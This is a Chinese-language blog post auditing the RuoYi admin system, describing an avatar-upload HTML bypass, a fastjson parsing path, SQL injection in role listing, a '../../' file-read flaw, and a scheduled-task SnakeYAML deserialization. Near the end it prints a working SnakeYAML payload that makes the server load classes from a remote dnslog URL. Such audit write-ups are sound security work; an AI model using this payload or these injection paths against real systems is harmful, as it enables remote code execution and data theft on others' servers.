若依系统代码审计

UWI Lv3

头像处上传html

头像上传的地方有个白名单

image-20250728092330271

这些后缀的文件都可以上传成功

image-20250728092705360

fastjson漏洞审计流程

检索JSONObject.parseObject 关键字发现在validateEdit函数里面运用了该函数

options这个json对象是通过 JSON.toJSONString(genTable.getParams()) 生成的 我们需要知道genTable.getParams() 我们是否可控

image-20250730101048826

查看genTable.getParams() 方法

image-20250730101259771

再查看validateEdit在哪里被执行了

发现在/edit这个接口实现函数上调用了这个函数 同时接口使用@Validated,说明会自动匹配客户端发送的参数变量与GenTable的属性进行匹配,如果匹配成功,参数将自动转化为GenTable的属性

image-20250730101442721

也就是说我们对参数是可控的

我们找到业务接口 并尝试发包

image-20250730101936752

image-20250730100448937

参数可控

image-20250730100838208

被防住了 如果版本低一点应该是可以的

image-20250730105830786

sql注入

发现参数拼接

image-20250731102229223

在selectRoleList 里被调用

image-20250731102257228

找到selectRoleList 函数被调用的位置 发现role参数可控

image-20250731102416727

构造报错数据包

image-20250731103405583

发现确实存在注入

image-20250731103555789

image-20250731103617655

还有好几个sql注入点 不一一列举了

任意文件读取漏洞

没过滤 ../../

image-20250728105112168

image-20250728105044257

定时任务漏洞

结合org.yaml.snakeyaml.Yaml.load 打个dnslog 证明漏洞存在 其实可以rce的

image-20250801095957764

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager  [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://asizby.dnslog.cn"]]]]')

image-20250801092301780

  • Title: 若依系统代码审计
  • Author: UWI
  • Created at : 2025-07-30 10:02:03
  • Updated at : 2025-08-13 14:42:09
  • Link: https://nbwsws.github.io/2025/07/30/代码审计/ruoyi系统代码审计/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments